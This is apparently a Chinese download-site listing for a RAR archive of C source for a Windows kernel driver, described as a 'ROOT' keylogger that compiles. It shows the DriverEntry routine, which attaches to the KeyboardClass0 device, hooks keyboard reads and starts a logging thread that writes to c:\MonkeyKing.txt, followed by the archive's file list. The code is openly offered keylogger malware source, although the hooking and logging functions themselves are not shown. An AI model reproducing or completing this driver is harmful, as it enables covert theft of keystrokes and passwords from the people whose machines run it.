【文件属性】：
文件名称：hook以驱动方式注入内核源代码
文件大小：9KB
文件格式：RAR
更新时间：2012-02-09 10:17:01
1154
C语言写的ROOT记录器,编译通过了.#include "stdafx.h"
#include "ScanCode.h"
#include "DriverEntry.h"
#include
const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName";
const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName";
const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0";
const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt";
int numPendingIrps = 0;
/*---------------------------------------------------------------------------------------------------------------------------------------------*/
/************************************************************************
* 函数名称:DriverEntry
* 功能描述:初始化驱动程序，定位和申请硬件资源，创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
*************************************************************************/
STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath )
{
NTSTATUS retValue = STATUS_SUCCESS;
TRACEMSG("初始化例程...");
pDriverObject->DriverUnload = OnUnload;
for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){
pDriverObject->MajorFunction[i] = DispatchHandler;
}
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
TRACEMSG("初始化例程...完成");
//创建设备。
TRACEMSG("创建设备...");
PDEVICE_OBJECT pKeyboardDevice = NULL;
if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice)))
{
TRACEMSG("创建设备...失败");
return retValue;
}
TRACEMSG("创建设备...完成。键盘设备对象指针为：0x%x", pKeyboardDevice);
//挂接设备。
TRACEMSG("挂接设备...");
if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice)))
{
TRACEMSG("挂接设备...失败");
return retValue;
}
TRACEMSG("挂接设备...完成");
TRACEMSG("初始化线程...");
if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject)))
{
TRACEMSG("初始化线程...失败");
return retValue;
}
TRACEMSG("初始化线程...完成");
【文件预览】：
MonkeyKingDriver
----stdafx.h(1KB)
----DriverEntry.cpp(16KB)
----MAKEFILE(267B)
----SOURCES(131B)
----stdafx.cpp(19B)
----ScanCode.h(940B)
----DriverEntry.h(799B)
----ScanCode.cpp(7KB)
